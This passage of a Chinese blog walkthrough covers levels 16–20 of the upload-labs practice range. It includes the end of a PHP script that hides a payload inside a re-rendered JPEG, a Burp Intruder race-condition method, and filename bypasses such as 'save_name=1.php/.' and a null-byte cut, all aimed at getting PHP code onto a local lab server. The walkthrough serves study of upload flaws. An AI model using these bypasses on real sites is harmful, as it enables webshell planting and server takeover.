                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

使用方法:

  1. 先將一張正常的jpg圖片上傳,上傳后將服務(wù)器存儲的二次渲染的圖片保存下來。
  2. 將保存下來經(jīng)過服務(wù)器二次渲染的那張jpg圖片,用此腳本進行處理生成payload.jpg
  3. 然后再上傳payload.jpg

上面順序注意一下,如果不成功的話,多換幾張的jpg試試

Pass-17 條件競爭

代碼分析

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允許上傳.jpg|.png|.gif類型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上傳出錯!';
    }
}

不難發(fā)現(xiàn),這里是先move_uploaded_file函數(shù)將上傳文件臨時保存,再進行判斷,如果不在白名單里則unlink刪除,在的話就rename重命名,所以這里存在條件競爭。

繞過方法

用burp開啟兩個intruder模塊,一個用于重復(fù)上傳,另一個用于重復(fù)訪問。
1、先設(shè)置上傳請求,記住此處的文件名,等下要用來拼接訪問請求的url


image

2、因為此處沒有什么參數(shù)需要爆破,只是需要重復(fù)發(fā)起請求,所以payload設(shè)置為Null payloads,設(shè)置訪問次數(shù)5000次,線程50個


image

接下來設(shè)置訪問請求
1、瀏覽器構(gòu)造請求url:http://127.0.0.1/upload-labs-master/upload/miracle778.php,進行訪問,然后用burp抓包
2、burp抓包后發(fā)送至intruder模塊,然后設(shè)置payload,這一步和上傳請求設(shè)置差不多,都是Null payloads、5000次、50個線程

image

設(shè)置好兩個模塊后同時啟動,觀察結(jié)果,因為我們傳入的php代碼是phpinfo();,所以如果訪問成功的話,會返回php的配置信息。

image

可以看到,5000次里有3次訪問成功,剩下的訪問次數(shù)里,有小部分是狀態(tài)碼返回200,但執(zhí)行出錯
image

剩下大部分訪問結(jié)果是狀態(tài)碼是404。
由此可得出結(jié)論,條件競爭繞過存在一定概率,實踐中如果一次不成功,可以多試幾次。

Pass-18 條件競爭

代碼分析

這里代碼太長,就不貼了,簡單截個圖


image

可以看到,這里先將上傳的文件保存(move函數(shù)),再rename重命名一下。所以也存在條件競爭,繞過方法和上面Pass-17差不多,這里就不重復(fù)寫了。

繞過方法

參照Pass-17

Pass-19 ./繞過

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上傳出錯!';
            }
        }else{
            $msg = '禁止保存為該類型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

這里關(guān)于pathinfo的說明如下圖


image

可以看到,這里img_path可控(通過post sava_name),所以可以利用move_uploaded_file的\x00截斷(save_name=1.php%00.jpg)繞過,但\x00截斷之前關(guān)卡已經(jīng)出現(xiàn)過了,這里明顯是考察別的知識點。
于是網(wǎng)上找找別人的答案,發(fā)現(xiàn)考點是:move_uploaded_file會忽略掉文件末尾的/.
所以可以構(gòu)造save_path=1.php/.,這樣file_ext值就為空,就能繞過黑名單,而move_uploaded_file函數(shù)忽略文件末尾的/.可以實現(xiàn)保存文件為.php

繞過方法

  1. post: save_name = 1.php%00.jpg
  2. post: save_name = 1.php/.

Pass-20 數(shù)組/.繞過

代碼分析

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //檢查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上傳該類型文件!";
    }else{
        //檢查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上傳該后綴文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上傳成功!";
                $is_upload = true;
            } else {
                $msg = "文件上傳失?。?;
            }
        }
    }
}else{
    $msg = "請選擇要上傳的文件!";
}

可以看到,上面第6行先進行了一個Content-Type判斷,10-13行,如果save_name是字符串的話就通過explode函數(shù),將post進去的save_name轉(zhuǎn)成小寫后按'.'打散成數(shù)組。而15-20行里的file_name會經(jīng)過`reset(file) . '.' . file[count(file) - 1];處理,而&#36;file[count(&#36;file)-1]和end(&#36;file)是相等的,也就是說,如果save_name是字符串形式傳入的話,想要繞過白名單話,file_name必為gif、png、jpg,無法達(dá)到上傳php的目的。 所以save_name不能以字符串形式傳入。而應(yīng)該以數(shù)組形式傳入,從而繞過explode過程,構(gòu)建特殊數(shù)組,使得end(&#36;file)能繞過白名單,而&#36;file[count(&#36;file) - 1]不等于jpg或png或gif。這里可以構(gòu)造save_name[0] = 1.php/,save_name[2] = jpg`,這樣的話end($file)為jpg,而$file[count($file) - 1]為$file[1]為空。所以最終file_name=1.php/.,到這里就跟Pass-19一樣了。

繞過方法

如圖


image

小小總結(jié)

這個20關(guān)做下來,感覺大多數(shù)文件上傳類型都講到了。這個項目官方github上面也有一張總結(jié)圖,感覺挺到位,就拿過來好了。


image

參考鏈接

Upload-labs 20關(guān)通關(guān)筆記
Upload-labs之pass 16詳細(xì)分析

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 文件上傳漏洞 常見的漏洞分類服務(wù)器配置不當(dāng)導(dǎo)致文件上傳開源編輯器存在上傳漏洞本地文件上傳限制可以上傳被繞過服務(wù)器端...
    二潘閱讀 17,446評論 2 3
  • pass-01 嘗試上傳一個php,發(fā)現(xiàn)提示不行。 前端js攔截了,先將php文件后綴改為允許的格式,比如jpg,...
    BuFFERer閱讀 4,842評論 0 1
  • 中間件漏洞 IIS IIS6.0文件解析 xx.asp;.jpg IIS6.0目錄解析 xx.asp/1.jpg ...
    l0st閱讀 619評論 0 1
  • 一個幫你總結(jié)所有類型的上傳漏洞的靶場 Pass-01 在js中發(fā)現(xiàn)校驗文件后綴的函數(shù),我們添加php類型后在控制臺...
    2mpossible閱讀 5,074評論 0 5
  • 今天早晨醒來已是7點多了,外面還在下雨。 兒女起床后,我們一起吃過早飯,我和女兒一起學(xué)英...
    梁佳碩媽媽閱讀 277評論 0 1

友情鏈接更多精彩內(nèi)容